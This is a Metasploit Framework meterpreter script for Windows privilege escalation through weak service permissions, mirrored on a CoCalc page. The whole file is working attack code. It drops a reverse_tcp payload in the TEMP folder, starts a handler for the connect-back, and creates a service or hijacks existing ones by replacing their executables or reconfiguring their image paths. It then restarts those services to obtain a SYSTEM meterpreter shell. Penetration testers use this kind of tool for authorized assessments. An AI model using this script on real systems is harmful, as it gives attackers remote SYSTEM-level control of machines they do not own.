CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/service_permissions_escalate.rb
Views: 1904
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
##
9
# Many services are configured with insecure permissions. This
10
# script attempts to create a service, then searches through a list of
11
# existing services to look for insecure file or configuration
12
# permissions that will let it replace the executable with a payload.
13
# It will then attempt to restart the replaced service to run the
14
# payload. If that fails, the next time the service is started (such as
15
# on reboot) the attacker will gain elevated privileges.
16
#
17
# scriptjunkie googlemail com
18
#
19
##
20
21
if client.platform !~ /win32/
22
print_error("This version of Meterpreter is not supported with this Script!")
23
raise Rex::Script::Completed
24
end
25
#
26
# Options
27
#
28
opts = Rex::Parser::Arguments.new(
29
"-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"],
30
"-h" => [ false, "This help menu"],
31
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
32
"-p" => [ true, "The port on the remote host where Metasploit is listening"]
33
)
34
35
#
36
# Default parameters
37
#
38
39
rhost = Rex::Socket.source_address("1.2.3.4")
40
rport = 4444
41
aggressive = false
42
43
#
44
# Option parsing
45
#
46
opts.parse(args) do |opt, idx, val|
47
case opt
48
when "-a"
49
aggressive = true
50
when "-h"
51
print_status("Generic weak service permissions privilege escalation.")
52
print_line(opts.usage)
53
raise Rex::Script::Completed
54
when "-r"
55
rhost = val
56
when "-p"
57
rport = val.to_i
58
end
59
end
60
61
envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT')
62
tempdir = envs['TEMP']
63
sysdir = envs['SYSTEMROOT']
64
65
# Get the exe payload.
66
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
67
pay.datastore['LHOST'] = rhost
68
pay.datastore['LPORT'] = rport
69
raw = pay.generate
70
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
71
#and placing it on the target in %TEMP%
72
tempexename = Rex::Text.rand_text_alpha((rand(8)+6))
73
tempexe = "#{tempdir}\\#{tempexename}.exe"
74
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")
75
fd = client.fs.file.new(tempexe, "wb")
76
fd.write(exe)
77
fd.close
78
79
#get handler to be ready
80
handler = client.framework.exploits.create("multi/handler")
81
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
82
handler.datastore['LHOST'] = rhost
83
handler.datastore['LPORT'] = rport
84
handler.datastore['InitialAutoRunScript'] = "migrate -f"
85
handler.datastore['ExitOnSession'] = false
86
#start a handler to be ready
87
handler.exploit_simple(
88
'Payload' => handler.datastore['PAYLOAD'],
89
'RunAsJob' => true
90
)
91
92
#attempt to make new service
93
client.railgun.kernel32.LoadLibraryA("advapi32.dll")
94
client.railgun.get_dll('advapi32')
95
client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[
96
[ "DWORD", "hService", "in" ]
97
])
98
99
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
100
101
print_status("Trying to add a new service...")
102
adv = client.railgun.advapi32
103
manag = adv.OpenSCManagerA(nil,nil,0x10013)
104
if(manag["return"] != 0)
105
# SC_MANAGER_CREATE_SERVICE = 0x0002
106
newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
107
#SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
108
#SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
109
if(newservice["return"] != 0)
110
print_status("Created service... #{newservice["return"]}")
111
ret = adv.StartServiceA(newservice["return"], 0, nil)
112
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
113
service_delete("walservice")
114
adv.CloseServiceHandle(newservice["return"])
115
if aggressive == false
116
adv.CloseServiceHandle(manag["return"])
117
raise Rex::Script::Completed
118
end
119
else
120
print_status("Uhoh. service creation failed, but we should have the permissions. :-(")
121
end
122
else
123
print_status("No privs to create a service...")
124
manag = adv.OpenSCManagerA(nil,nil,1)
125
if(manag["return"] == 0)
126
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
127
end
128
end
129
print_status("Trying to find weak permissions in existing services..")
130
#Search through list of services to find weak permissions, whether file or config
131
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
132
#for each service
133
service_list.each do |serv|
134
begin
135
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
136
if srvtype != "16"
137
continue
138
end
139
moved = false
140
configed = false
141
#default path, but there should be an ImagePath registry key
142
source = "#{sysdir}\\system32\\#{serv}.exe"
143
#get path to exe; parse out quotes and arguments
144
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
145
sourcemaybe = client.fs.file.expand_path(sourceorig)
146
if( sourcemaybe[0] == '"' )
147
sourcemaybe = sourcemaybe.split('"')[1]
148
else
149
sourcemaybe = sourcemaybe.split(' ')[0]
150
end
151
begin
152
client.fs.file.stat(sourcemaybe) #check if it really exists
153
source = sourcemaybe
154
rescue
155
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
156
end
157
#try to exploit weak file permissions
158
if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
159
client.railgun.kernel32.CopyFileA(tempexe, source, false)
160
print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.")
161
moved = true
162
end
163
#try to exploit weak config permissions
164
#open with SERVICE_CHANGE_CONFIG (0x0002)
165
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
166
if(servhandleret["return"] != 0)
167
#SERVICE_NO_CHANGE is 0xFFFFFFFF
168
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
169
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
170
configed = true
171
end
172
adv.CloseServiceHandle(servhandleret["return"])
173
174
end
175
if(moved != true && configed != true)
176
print_status("No exploitable weak permissions found on #{serv}")
177
continue
178
end
179
print_status("Restarting #{serv}")
180
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
181
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
182
if(servhandleret["return"] != 0)
183
#SERVICE_CONTROL_STOP = 0x00000001
184
if(adv.ControlService(servhandleret["return"],1,56))
185
client.railgun.kernel32.Sleep(1000)
186
adv.StartServiceA(servhandleret["return"],0,nil)
187
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
188
#Cleanup
189
if moved == true
190
client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
191
end
192
if configed == true
193
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
194
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
195
adv.CloseServiceHandle(servhandleret["return"])
196
end
197
if aggressive == false
198
raise Rex::Script::Completed
199
end
200
else
201
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
202
end
203
adv.CloseServiceHandle(servhandleret["return"])
204
else
205
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
206
end
207
rescue
208
end
209
end
210
211
212